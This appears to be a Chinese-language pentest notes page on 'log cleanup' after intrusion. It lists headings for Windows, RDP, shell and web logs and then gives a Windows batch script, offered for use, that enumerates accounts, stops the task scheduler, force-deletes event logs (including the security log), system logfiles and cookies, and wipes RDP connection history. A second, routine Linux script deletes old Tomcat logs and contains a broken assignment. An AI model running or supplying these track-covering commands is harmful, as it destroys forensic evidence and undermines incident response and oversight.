日志清理
Windows日志清理
3389日志清理
Dos命令日志清理
Web日志清理
Linux日志清理
Shell命令日志清理
/var/log日志清理
Web日志清理
脚本
@echo off
Title 日志清理工具
echo 所有用户帐号ID为:
echo.
for /f "skip=4 tokens=1-3" %%i in ('net user') do (
if not "%%i"=="命令成功完成。" echo %%i
if not "%%j"=="" echo %%j
if not "%%k"=="" echo %%k
)
echo.
echo 当前用户帐号ID为:%username%
@ net stop "task scheduler"
@del /f /s /q %systemroot%\system32\config\*.evt
@del /f /s /q %systemroot%\system32\logfiles\*.*
@del /f /s /q %systemroot%\system32\dtclog\*.*
@del /f /s /q %systemroot%\system32\*.log
@del /f /s /q %systemroot%\system32\*.txt
@del /f /s /q %systemroot%\schedlgu.txt
@del /f /s /q %systemdrive%\*.gid
@del /f /s /q %systemroot%\system32\config\SecEvent.evt
@del /f /s /q %systemroot%\system32\*.ip
@del /f /s /q c:\winnt\*.txt
@del /f /s /q c:\winnt\*.log
@del /f /q %userprofile%\cookies\*.*
@reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”
@del “%USERPROFILE%\My Documents\Default.rdp”
@exit
#!/bin/sh
###########################
#delete log blog.duplicatedcode.com
# in_day_num: like 1 2 is delete 2day ago logs
# in_log_path like tomcat log home
###########################
in_log_path=${1}
in_day_num=${2}
tmp_delete_log=/var/log/deletelog/"`date +%Y%m`.log"
deleteLog()
{
inner_num=${1}
#find log
echo "[`date`] >> start delete logs---" >> $tmp_delete_log
find ${in_log_path} -type f -mtime ${inner_num} -print0 | xargs -0 rm -rf
echo "[`date`] >> end delete logs---" >> $tmp_delete_log
}
init()
{
mkdir -p /var/log/deletelog/
}
main()
{
init
if [ -z ${in_log_path} ];then
echo "[`date`] >> error log_path not init---" >> $tmp_delete_log
return
fi
inner_day_num=+7
if [[ -n ${in_day_num} ]] && [[ ${in_day_num} -ge 1 ]] ; then
${inner_day_num}=${in_day_num}
fi
deleteLog ${inner_day_num}
}
main
最后更新于